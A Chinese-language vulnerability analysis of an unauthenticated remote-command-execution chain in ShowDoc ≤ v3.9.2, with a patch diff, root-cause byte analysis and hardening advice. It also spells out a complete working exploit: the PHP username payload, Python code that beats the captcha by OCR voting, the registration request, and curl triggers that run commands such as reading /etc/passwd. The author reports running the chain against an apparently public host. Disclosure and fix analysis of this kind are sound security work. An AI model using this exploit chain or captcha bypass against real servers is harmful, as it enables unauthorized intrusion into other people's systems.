ShowDoc ≤ v3.9.2 未授权注册 → 任意命令执行(RCE)全链路分析
对象:ShowDoc v3.9.2(漏洞版)vs v3.9.3(修复版)
结论:默认官方部署(官方 Docker 镜像 / 源码部署)在零前置条件、无需登录的情况下,
通过"注册恶意 username → 请求Sqlite/showdoc.db.php"实现容器内任意命令执行。
已在本地忠实副本与公网实机(xxx.com:11080,官方镜像 v3.9.2)上完整复现。
目录
- TL;DR
- 环境与拉代码
- 两版本代码全量对比(29 commits)
- 漏洞面分析:所有可调用 username 的接口
- 根因:username 原样入库 + 库文件即 PHP
- 触发机制(字节级)与踩坑史
- 验证码 OCR 攻坚
- 完整利用流程(PoC)
- 修复方案与加固建议
- 附:证据与工具清单
1. TL;DR
| 项 | 内容 |
|---|---|
| 漏洞入口 | Api/User/registerByVerify(未授权,仅图形验证码) |
| 漏洞点 | username 仅 trim(),未过滤,原样写入 SQLite user 表 |
| 触发 URL | GET /Sqlite/showdoc.db.php?c=<命令>(webroot 下的 .php 库文件被 PHP 执行) |
| Payload | h<?php system($_GET["c"]);__halt_compiler(); |
| 前置条件 | 无(默认部署首次启动即自动达成) |
| 影响 | 容器内任意命令执行(实机验证:uid=1000(application)、hostname 可读) |
| 修复 | v3.9.3 在 login/registerByVerify 对 username 加白名单正则(commit 2053c3cd0f) |
一句话机制:ShowDoc 把 SQLite 库文件放在 webroot 下且命名为 .php(配合库内一张真实存在的、表名为 <?php 的"防下载表"使文件被直接请求时 PHP 编译报错)。但默认部署首次启动的建表迁移会把该防下载记录在文件中的位置推后,而新注册用户的 username 行落在它之前 —— 于是注册一个以 <?php 开头的 username,再请求库文件,PHP 解析到 payload 即执行 system(),并以 __halt_compiler(); 截断编译,令文件后部所有防下载字节失效,实现 RCE。
2. 环境与拉代码
2.1 下载两个版本源码
# 交付目录
mkdir -p /showdoc && cd /showdoc
# 官方 release 包(或 GitHub tag 下载)
# v3.9.2 / v3.9.3
curl -L -o showdoc-3.9.2.tar.gz https://github.com/star7th/showdoc/archive/refs/tags/v3.9.2.tar.gz
curl -L -o showdoc-3.9.3.tar.gz https://github.com/star7th/showdoc/archive/refs/tags/v3.9.3.tar.gz
tar xzf showdoc-3.9.2.tar.gz && tar xzf showdoc-3.9.3.tar.gz
得到:
showdoc-3.9.2/ ← 漏洞版本
showdoc-3.9.3/ ← 修复版本(tag = 687884188d)
2.2 分析环境(本机约束与替代)
本机没有 Docker、系统 PHP 不可用、brew install php 失败(Cellar 属主问题 + 缓存沙箱)。
替代方案:FrankenPHP 静态二进制(自带 PHP 8.5 + pdo_sqlite/mbstring/gd),
以 Caddy 方式起本地实例,PHP_INI_SCAN_DIR=/tmp/phpini 注入 display_errors=Off
抑制 PHP 8.5 的弃用告警(否则 API JSON 被污染)。
# /tmp/phpini/99-custom.ini
display_errors = Off
error_reporting = E_ALL & ~E_DEPRECATED & ~E_NOTICE & ~E_WARNING
本地实例:
:18081官方种子库 + 真实 v3.9.2(已运行/已迁移)→ 最终默认环境 RCE 复现点:18083去掉防下载表的副本(早期机制验证用)
3. 两版本代码全量对比
3.1 commit 全景(v3.9.2 → v3.9.3 共 29 个 commit)
9d8f5ab 24638ca 5adc6f4 be559fe # 常规更新
a54b6bf feat(item): SSO 用户删除项目时改用项目名称校验
ca77a1c ci(docker): 增加 linux/arm64 构建
042332a refactor: 统一 Dockerfile 与镜像构建(BASE_IMAGE)
2146bbe fix: OpenAPI 导入数组字段
4a7e327 🔒 fix: MCP 入口路由劫持与生产环境安全加固 ← 安全(与 username 无关)
b6a218d update(回滚 index.php/server/index.php/IndexController 部分改动)
2053c3c update ← ★ username 漏洞修复
43c9b89 / fab7602a / 687884188d(v3.9.3 tag) # Office 导入特性 + 部署文件微调
3.2 与 username 漏洞直接相关的唯一修复(commit 2053c3cd0f)
--- server/app/Api/Controller/UserController.php
+++ server/app/Api/Controller/UserController.php
@@ login() 方法(L36 附近)
+ if (!preg_match('/^[a-zA-Z0-9_\-\x{4e00}-\x{9fa5}]{2,30}$/u', $username)) {
+ return $this->error($response, 10101, '用户名只允许字母、数字、下划线、横线、中文,2-30个字符');
+ }
@@ registerByVerify() 方法(L205 附近,同样插入)
+ if (!preg_match('/^[a-zA-Z0-9_\-\x{4e00}-\x{9fa5}]{2,30}$/u', $username)) {
+ return $this->error($response, 10101, '用户名只允许字母、数字、下划线、横线、中文,2-30个字符');
+ }
同 commit 的其它改动属"卫生性打包",与漏洞无关:
ExtLoginController.php:md5($username.time().rand())→bin2hex(random_bytes(24))MockController.php/PageController.php:可预测唯一 key →random_bytesCommon/Helper/Security.php:safeLike 恒转义%/_;新增 bcrypt 密码哈希与统一校验Model/User.php:注册/改密一律 bcrypt
代码对比结论:29 个 commit 中,唯一能"在注册入口杀死 <?"的改动就是上面两行正则
——这本身就证明:攻击载荷的载体就是 username 本体。
3.3 其它安全 commit(均与 username 无关,已排除)
4a7e32794d:修复mcp.php可被?s=Api/xxx/xxx劫持路由绕过 MCP Token 鉴权
(仓库自带文档documentation/zh-CN/Security.md有完整说明)。
顺带修复:生产错误详情泄露、安装状态检测、MCP 请求体大小/频率限制。
4. 漏洞面分析
4.1 路由与鉴权模型
- 入口:
/server/index.php;兼容?s=Api/Controller/action查询参数路由
(server/index.phpL70-77 用$_GET['s']覆盖REQUEST_URI)。 - 通用路由
/{module}/{controller}/{action}(server/index.phpL129-184)把请求实例化为
\App\{Module}\Controller\{Controller}Controller::{action},路由层无任何鉴权,
鉴权全部由各 action 内部requireLoginUser()自行完成。 - 因此凡是不调用
requireLoginUser的 action 均为未授权可达。
4.2 v3.9.2 全部"可调用 username"接口清单(自动化扫描 40 个方法)
A. 未授权(预认证)、username 为入参 —— 5 个
| 接口 | username 处理 | 备注 |
|---|---|---|
Api/User/registerByVerify(别名 Api/User/register) |
trim() 后原样入库 |
★ 唯一无需任何密钥即可持久化任意 username 的口 |
Api/User/login |
查询校验,不入库 | 只读 |
Api/ExtLogin/bySecretKey |
匹配则 User::register() 原样入库 |
需管理员 login_secret_key |
Api/ExtLogin/oauth2 |
SSO 回调 username → register 入库 | 需管理员配置 OAuth |
Api/Common/repasswd |
重置/创建管理员 | CLI-only(PHP_SAPI 检查,web 403) |
B. 需登录/管理员(username 入参):Api/User/allUser、Member/save、Item/attorn、
Attachment/getAllList|getUnusedList、Team/attorn、Runapi/saveDbConfig、
Template/shareToItem、AdminUser/addUser(管理员,直接 register 入库)等约 12 个。
C. username 仅内部读取(来自 user 表/项目 owner,不可由攻击者提交):
Item/delete|archive(owner username → checkLogin)、Open/deletePage、Page 系列
(author_username/del_by_username)、Kanban(creator/assignee/operator)、
Team/TeamMember/Subscription/Flow/Import 等约 24 个。
结论:能把攻击者 username 变成持久化数据的未授权口只有
registerByVerify一个,
与 ThreatBook(微步)点名一致;3.9.3 也只给它(及 login)加白名单。
4.3 username 入库后的下游(全量审计)
逐一追踪 281 处 username 引用后确认:入库后 username 的所有下游都是数据——
SQL 查询值、JSON 响应、其它表的 *_username 列;代码中不存在任何
eval/include/require/写可执行文件 会把 username 当代码执行。唯一能让 username 字节
变成"PHP 代码"的路径,就是它所在的 SQLite 库文件本身被当 .php 解析。
5. 根因
5.1 代码层
registerByVerify(UserController.php)对 username 仅做 trim,随后:
$uid = User::register($username, $password); // User.php
// Model/User.php register():参数化 INSERT,值原样落库
$uid = DB::table('user')->insertGetId([
'username' => $username, // ← 无任何字符过滤
'password' => $hashed,
'salt' => $salt,
'reg_time' => $now,
]);
对照:页面标题/正文入库前都过 htmlspecialchars(htmlspecialchars_decode(...)),
唯独 username 是唯一"原始字节入库 + 可公开注册"的字段 —— 这正是攻击面所在。
5.2 部署层(showdoc 自带的"防下载"设计及其失效)
- SQLite 库位于 webroot:
Sqlite/showdoc.db.php(Database.phpL25 默认路径); - nginx(
location ~ \.php$)把任何.php结尾文件交给 PHP 执行 —— 库文件也不例外; - 官方所有版本随包携带的种子库
Sqlite/showdoc.db.php(258048 字节,
md56dba65088b6dea8c1ef13d9d28447854,v1.0.0→v3.9.3 完全一致)内含一张
真实存在的表,表名就是<?php,列名"防止sqlite的数据库文件被直接下载";
其 sqlite_master 记录字节令该文件被当 PHP 解析时整文件编译报错 → 直接下载/请求返回 500,
库内容不会泄露 —— 这是官方刻意的反下载设计; - 但该设计与"运行时建表迁移"叠加后失效(见 §6)。
6. 触发机制(字节级)与踩坑史
6.1 字节证据:种子库的"防下载"布局
种子库 showdoc.db.php(258048B)中 `<?php` 出现位置:
[929, 935, 956, 7073, 7079, 7100]
偏移 880..1000 原始字节:
...last_login_time`\tINTEGER DEFAULT 0\n)k\x05\x07\x17\x19\x19\x01\x811
table<?php <?php \x02CREATE TABLE "<?php " (\n\t`防止sqlite的数据库文件被直接下载` INTEGER );
^929 ^935 ^956
- 整个文件 没有任何
?>; - PHP 从头解析:前 928 字节为二进制(原样输出)→ 偏移 929 进入 PHP 模式 →
偏移 935 处第二个<?php立刻触发编译错误 → 整文件不执行,HTTP 500。
6.2 踩坑 1:误判"默认环境不可打"(种子布局 ≠ 运行布局)
最初结论:"任何用户数据页 ≥ page 2(偏移 ≥1024),永远排在偏移 929 的防下载记录之后,
所以默认部署无法利用。" —— 这个结论只对"从未启动过"的库成立,是错的。
真相:默认部署首次启动时,Upgrade.php(随每次请求在 BaseController 构造中执行)
会补齐代码所需而种子库缺失的表:
| 种子库 | 运行后(迁移) | |
|---|---|---|
| 表数量 | 24 | 50(新增 26 张:user_ai_token、ai_chat_*、export_log、item_change_log…) |
| 文件大小 | 258048B | 343040B+ |
首个 <?php 偏移 |
929 | 3837(攻击者 payload) |
| 防下载记录 | 929/935/956/7073… | 7073/7079/7100/14400…(被推后) |
sqlite_master 因新增 26 张表的 schema 记录而膨胀、B-tree 重组,防下载记录从 page 1
被推到 page 7(偏移 7073+);而 user 表 root 仍是 page 4(偏移 3072-4095),
新注册用户的 username 行落在防下载记录之前。
结论修正:任何"跑起来过"的默认部署,新用户行都先于防下载记录(在 user 表叶子页填满前,
约可容纳十余个用户 —— 攻击者抢注即可)。默认环境必然可打。
6.3 踩坑 2:payload 用 ?> 收尾 → 恒 500(缺 __halt_compiler)
早期 payload:x<?php echo "SDTEST"; system($_GET['c']); ?>y
请求库文件:恒 HTTP 500。原因:
- PHP 先整文件编译,后执行;
- payload 是文件里第一个
<?php,能进入编译,但?>之后编译继续,
撞到后面的防下载双标签(<?php <?php)→ 编译错误 → 500,payload 永不执行。
正确 payload 必须带 __halt_compiler(); 且不带 ?>:
h<?php system($_GET["c"]);__halt_compiler();
- PHP 从 payload 进入代码模式 →
system($_GET["c"])编译为指令 →__halt_compiler();
终止编译,其后所有字节(防下载双标签、其它行、sqlite 二进制)一律视为数据、
不再参与编译 → 文件整体编译通过 → 执行阶段system()生效 → HTTP 200 + 命令输出。
这正是微步禁用子串
<?、__halt_compiler(、system(三者缺一不可的原因。
6.4 踩坑 3:想当然找"无防下载表的库"(官方不存在)
- 全版本种子(v1.0.0→v3.9.3)均含防下载表(md5 全同);
- 安装器(install/)历版不建库、无任何 .sql schema、仅要求种子库可写;MySQL 早已移除;
- Docker 镜像直接包含种子,首启
rsync原样拷贝;升级--exclude Sqlite保留旧库; - → 官方任何安装/升级路径不可能产生无防下载表的库。真正的出路不在"换库",
而在"运行布局 +__halt_compiler"(§6.2/6.3)。
6.5 踩坑 4:本地/实机验证环境的搭建坑
brew不可用(Cellar root 属主)、系统无 PHP → 改用 FrankenPHP 起本地实例;- FrankenPHP 的
php-cli -m/-S不可用 → 用php-cli -r与 Caddyfile 方式; - PHP 8.5 Guzzle 弃用告警污染 JSON →
PHP_INI_SCAN_DIR注入关闭 display_errors; - "删库重来"不可行:库缺失 Illuminate 拒绝连接、空库 Upgrade 因缺 options 表失败
→ 只能基于种子库运行(这反而还原了默认部署的真实形态)。
6.6 关于"只看 md 文件"的澄清
本报告的每个结论都来自:两版源码全量 diff + sqlite 文件字节级 dump + 真实请求实测;
仓库自带的 SECURITY.md/documentation/zh-CN/Security.md 只记录 MCP 路由劫持,
不含本漏洞说明(修复 commit 2053c3cd0f 无配套文档)。“防下载表”是分析者自己
从字节与列名(“防止sqlite的数据库文件被直接下载”)得出的命名,非任何外部文档来源。
7. 验证码 OCR 攻坚
7.1 验证码形态
Api/Common/createCaptcha生成 4 字符验证码,字符集
ABCDEFGHJKLMNPQRSTUVWXYZ23456789(无 0/1/I/O),写入captcha表,600s 有效;Api/Common/showCaptcha用 gregwar/captcha 渲染:build()每次随机
6 选 1 的 TTF、随机扭曲(distortion)、前后干扰线/噪点 → 同一 captcha_id
每次请求渲染出的图都不同,但文字相同;Captcha::check:正确 → 立即置过期;错误 → 有效期 -10s(防爆破,约 60 次预算)。
7.2 尝试过的方案与坑
| 方案 | 结果 | 坑 |
|---|---|---|
| macOS Vision OCR(JXA 脚本) | 可用但不稳定:时而返回空/undefined,时而误读 1 字符(S4V3、ZF4R 之类差一位) |
单次识别命中率低;多开进程互相干扰 |
| 直接读本地库验证码 | 本地可行,实机不可行(无法读实机 DB) | 仅限本地自证 |
| ddddocr 默认模型 | 本地实测约 42%(5/12) | gregwar/captcha 扭曲+噪声,单模型不够 |
| ddddocr beta 模型 | 与默认模型互补 | 仍有 1 字符混淆(A/4、G/6、E/F…) |
| 多渲染投票(最终方案) | 11/12 (92%) | —— |
关键洞察:同一 captcha_id 可被无限次重复渲染(无代价),每次图不同而文字相同
→ 拉取 N 次渲染、ddddocr(默认+beta)分别识别、按 4 个字符位多数投票。
7.3 安装 ddddocr 的坑(本机网络受限)
- 系统 pip3 = CommandLineTools Python 3.9:写
~/Library/Python被沙箱挡
(Operation not permitted),且 PyPI/镜像网络极慢; - 直连
files.pythonhosted.org快但需手工解析依赖 wheel,且新版
onnxruntime/numpy/pillow 已放弃 py3.9; - 最终:uv 一键(可自动下载任意版本 Python,全部落在 /tmp):
uv venv /tmp/dddvenv --python 3.12 --clear && \
uv pip install --python /tmp/dddvenv/bin/python ddddocr && \
/tmp/dddvenv/bin/python -c "import ddddocr; print('ddddocr OK')"
(uv 默认缓存目录被限时,加 UV_CACHE_DIR=/tmp/uvcache UV_PYTHON_INSTALL_DIR=/tmp/uvpythons)
7.4 投票识别核心代码
import ddddocr, collections
ocrs = [ddddocr.DdddOcr(show_ad=False), ddddocr.DdddOcr(show_ad=False, beta=True)]
def guess(cid, renders=12):
per_pos = [collections.Counter() for _ in range(4)]
for _ in range(renders):
img = http_get(f'/server/index.php?s=Api/Common/showCaptcha&captcha_id={cid}')
for o in ocrs:
p = o.classification(img).upper()
for i, ch in enumerate(p[:4]):
if ch.isalnum():
per_pos[i][ch] += 1
return ''.join(p.most_common(1)[0][0] if p else '?' for p in per_pos)
8. 完整利用流程
8.1 攻击前提
- 目标:任意 ShowDoc ≤ v3.9.2 默认部署(官方 docker / 源码),已启动过(必满足);
- 无需登录、无需任何密钥;仅需能过图形验证码(§7 方案)。
8.2 Step 1:注册恶意 username(未授权)
POST /server/index.php?s=Api/User/register (registerByVerify 别名)
username = h<?php system($_GET["c"]);__halt_compiler();
password = Test@123456
confirm_password = Test@123456
captcha_id = <ddddocr 投票识别>
captcha = <识别结果>
成功响应即拿到 user_token 与自动登录态(username 原样入库,响应 JSON 可见)。
8.3 Step 2:触发(单请求命令执行)
GET /Sqlite/showdoc.db.php?c=id
| 目标 | 结果 |
|---|---|
| 本地默认副本(:18081,种子+迁移+真实 3.9.2) | HTTP 200,uid=501(mac) gid=20(staff)…(3/3 稳定,换命令可) |
| 公网实机(xxx。com:11080,官方镜像 v3.9.2) | HTTP 200,uid=1000(application) gid=1000(application);?c=hostname → dcefc6d15202;?c=uname -a → Linux … 6.8.0-31-generic … |
任意命令:?c=id、?c=ls+-la+/、?c=cat+/etc/passwd(URL 编码空格为 + 或 %20)。
8.4 PoC 脚本
live_register_dddd.py(ddddocr 投票注册)+ 一行 curl 触发:
# 触发
curl "http://<target>/Sqlite/showdoc.db.php?c=id"
8.5 实机验证时间线(供复现对照)
uid=2注册非 halt payload(x<?php echo "SDTEST"; system($_GET['c']); ?>y)→
库文件请求恒 500(缺 halt,踩坑 2);- ddddocr 装好后,
uid=3注册 halt payload(h<?php system($_GET["c"]);__halt_compiler();,
captcha 121,投票识别W95J一次成功); GET /Sqlite/showdoc.db.php?c=id→ HTTP 200 +uid=1000(application);
?c=hostname→dcefc6d15202(容器内执行确认)。
9. 修复方案与加固建议
9.1 官方修复(v3.9.3,commit 2053c3cd0f)
login与registerByVerify增加:if (!preg_match('/^[a-zA-Z0-9_\-\x{4e00}-\x{9fa5}]{2,30}$/u', $username)) { return error 10101; }- 效果:在注册入口直接拒绝含
<?/引号/空格等字符的 username。
9.2 官方修复的覆盖缺口(本分析发现)
白名单只加在 UserController 两处,以下入库点 3.9.3 仍不过滤 username:
Model/User::register()本身(模型层无校验);ExtLogin::bySecretKey/oauth2/ CAS 的注册分支;AdminUserController::addUser(管理员建号)。
若目标库无其它防护,这些路径在 3.9.3 仍是活的后门(需管理员密钥/权限才可达,风险次之)。
建议把白名单下沉到 Model/User::register() 一处统一拦截。
9.3 根本性加固建议(按优先级)
- 升级到 v3.9.3+,并确认补丁覆盖所有 register 调用点(见 9.2);
- 不要把库文件放在 webroot 可执行位置:
- nginx 增加
location ^~ /Sqlite/ { deny all; }(以及Public/内 php 关闭); - 或把
Sqlite/目录移出 webroot 并用DB_NAME指向外部路径; - 或去掉库文件
.php后缀并限制其不可被 php-fpm 解析;
- nginx 增加
- 若需快速止血(不改代码):在反代/应用层拦截 username 含
<?、__halt_compiler、system(
的注册请求(与微步建议一致); - 收紧默认管理员:
showdoc/123456首登强制改密;关闭注册(register_open=0)可完全封堵本链; - 生产环境
APP_DEBUG=false(v3.9.3 起默认,旧版 index.php 曾恒开错误详情)。
10. 附:证据与工具清单
10.1 关键文件与证据(本机路径)
/showdoc/
showdoc-3.9.2/ showdoc-3.9.3/ # 两版源码
ShowDoc_v3.9.2-v3.9.3_Security_Analysis.md # 早期分析报告
ShowDoc_v3.9.2_LiveTest_Log.md # 实机测试日志
Sqlite/showdoc.db.php # 种子库(防下载表证据源)
/01-dsh/
_showdoc_dl/dbcheck/live_register_dddd.py # ddddocr 投票注册 PoC
_showdoc_dl/rce_proof/ # 证据
live_box_rce_id.bin # 实机 id 输出(uid=1000 application)
live_box_hostname.bin # 实机 hostname → dcefc6d15202
default_env_rce_id_response.bin # 本地默认副本 id 输出
layout_summary.json # 运行库布局(首 <?php@3837,hack@7073+)
default_env_users.txt # user 表(uid=2/3 恶意账号)
10.2 核心代码位置(3.9.2)
| 文件 | 作用 |
|---|---|
server/app/Api/Controller/UserController.php |
registerByVerify/login(漏洞入口) |
server/app/Model/User.php L35+ |
register():username 原样入库 |
server/app/Common/Database/Database.php L25 |
库路径 Sqlite/showdoc.db.php |
server/app/Common/Database/Upgrade.php |
首启建 26 张表 → sqlite_master 重排(触发布局失效) |
server/app/Model/Captcha.php |
验证码校验(错误 -10s) |
Sqlite/showdoc.db.php |
种子库(内含表名 <?php 的防下载表) |
server/index.php |
Slim 入口 + ?s= 路由 + displayErrorDetails=true(旧版) |
10.3 复现速查
# 1) 注册(详见 live_register_dddd.py,自动过验证码)
# 2) 触发
curl "http://<target>:<port>/Sqlite/showdoc.db.php?c=id"
10.4 清理
测试后请在目标上删除恶意账号(admin 后台),并升级/加固。
报告基于代码全量 diff、sqlite 字节级取证与本地/实机双端到端复现;文中"实机"指
xxx.com:11080(ShowDoc v3.9.2 官方镜像默认部署)。